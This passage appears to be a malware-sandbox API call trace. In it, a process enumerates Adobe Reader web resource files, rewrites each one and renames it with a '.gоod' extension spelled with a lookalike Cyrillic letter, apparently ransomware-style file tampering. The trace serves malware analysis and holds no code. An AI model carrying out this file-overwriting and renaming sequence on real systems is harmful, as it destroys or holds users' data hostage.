ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_uris.js", cAlternateFileName="BASE_U~1.JS")) returned 1 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4381, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins.js", cAlternateFileName="")) returned 1 [0096.051] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="static", cAlternateFileName="")) returned 1 [0096.052] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0096.052] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 1 [0096.052] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.052] FindClose (in: hFindFile=0x1ec83470 | out: hFindFile=0x1ec83470) returned 1 [0096.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeda50) returned 1 [0096.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeda10) returned 1 [0096.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdedb10) returned 1 [0096.053] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0", nBufferLength=0x105, lpBuffer=0x1fded5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0", lpFilePart=0x0) returned 0x4c [0096.053] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\*", lpFindFileData=0x1fded830 | out: lpFindFileData=0x1fded830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83950 [0096.054] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.054] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_uris.js", cAlternateFileName="BASE_U~1.JS")) returned 1 [0096.054] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0096.054] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0096.055] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4381, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins.js", cAlternateFileName="")) returned 1 [0096.055] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="static", cAlternateFileName="")) returned 1 [0096.055] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0096.055] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 1 [0096.055] FindNextFileW (in: hFindFile=0x1ec83950, lpFindFileData=0x1fded7f0 | out: lpFindFileData=0x1fded7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 0 [0096.055] FindClose (in: hFindFile=0x1ec83950 | out: hFindFile=0x1ec83950) returned 1 [0096.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeda50) returned 1 [0096.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeda10) returned 1 [0096.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", lpFilePart=0x0) returned 0x59 [0096.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0096.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js"), fInfoLevelId=0x0, lpFileInformation=0x3536f58 | out: lpFileInformation=0x3536f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf5d)) returned 1 [0096.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0096.057] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", lpFilePart=0x0) returned 0x59 [0096.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0096.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0096.057] GetFileType (hFile=0x7dc) returned 0x1 [0096.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0096.057] GetFileType (hFile=0x7dc) returned 0x1 [0096.057] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fded918 | out: lpFileSizeHigh=0x1fded918*=0x0) returned 0xf5d [0096.057] ReadFile (in: hFile=0x7dc, lpBuffer=0x35381b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded848, lpOverlapped=0x0 | out: lpBuffer=0x35381b0*, lpNumberOfBytesRead=0x1fded848*=0xf5d, lpOverlapped=0x0) returned 1 [0096.059] CloseHandle (hObject=0x7dc) returned 1 [0096.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", lpFilePart=0x0) returned 0x59 [0096.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0096.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0096.806] GetFileType (hFile=0x6e0) returned 0x1 [0096.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0096.806] GetFileType (hFile=0x6e0) returned 0x1 [0096.806] WriteFile (in: hFile=0x6e0, lpBuffer=0x376bb68*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x1fded758, lpOverlapped=0x0 | out: lpBuffer=0x376bb68*, lpNumberOfBytesWritten=0x1fded758*=0xf60, lpOverlapped=0x0) returned 1 [0096.807] CloseHandle (hObject=0x6e0) returned 1 [0096.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js", lpFilePart=0x0) returned 0x59 [0096.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js.gоod", lpFilePart=0x0) returned 0x5e [0096.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0096.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x35ea95dd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf60)) returned 1 [0096.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0096.807] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\base_uris.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\base_uris.js.gоod")) returned 1 [0096.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", lpFilePart=0x0) returned 0x57 [0096.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0096.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html"), fInfoLevelId=0x0, lpFileInformation=0x376ce70 | out: lpFileInformation=0x376ce70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd2e)) returned 1 [0096.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0096.808] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", lpFilePart=0x0) returned 0x57 [0096.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0096.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0096.808] GetFileType (hFile=0x6e0) returned 0x1 [0096.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0096.808] GetFileType (hFile=0x6e0) returned 0x1 [0096.808] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fded918 | out: lpFileSizeHigh=0x1fded918*=0x0) returned 0xd2e [0096.808] ReadFile (in: hFile=0x6e0, lpBuffer=0x376de78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded848, lpOverlapped=0x0 | out: lpBuffer=0x376de78*, lpNumberOfBytesRead=0x1fded848*=0xd2e, lpOverlapped=0x0) returned 1 [0097.127] CloseHandle (hObject=0x6e0) returned 1 [0097.200] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", lpFilePart=0x0) returned 0x57 [0097.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0097.200] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.201] GetFileType (hFile=0x6e0) returned 0x1 [0097.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0097.201] GetFileType (hFile=0x6e0) returned 0x1 [0097.202] WriteFile (in: hFile=0x6e0, lpBuffer=0x3a1df30*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x1fded758, lpOverlapped=0x0 | out: lpBuffer=0x3a1df30*, lpNumberOfBytesWritten=0x1fded758*=0xd30, lpOverlapped=0x0) returned 1 [0097.203] CloseHandle (hObject=0x6e0) returned 1 [0097.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html", lpFilePart=0x0) returned 0x57 [0097.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html.gоod", lpFilePart=0x0) returned 0x5c [0097.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0097.203] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x36263065, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0097.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0097.203] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\index.html.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\index.html.gоod")) returned 1 [0097.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0097.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), fInfoLevelId=0x0, lpFileInformation=0x3a1f220 | out: lpFileInformation=0x3a1f220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dcf)) returned 1 [0097.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0097.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.204] GetFileType (hFile=0x6e0) returned 0x1 [0097.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.204] GetFileType (hFile=0x6e0) returned 0x1 [0097.204] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fded918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fded918*=0) returned 0x1000 [0097.204] ReadFile (in: hFile=0x6e0, lpBuffer=0x3a1f658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a1f658*, lpNumberOfBytesRead=0x1fded8e8*=0xdcf, lpOverlapped=0x0) returned 1 [0097.287] CloseHandle (hObject=0x6e0) returned 1 [0097.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.288] GetFileType (hFile=0x6e0) returned 0x1 [0097.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 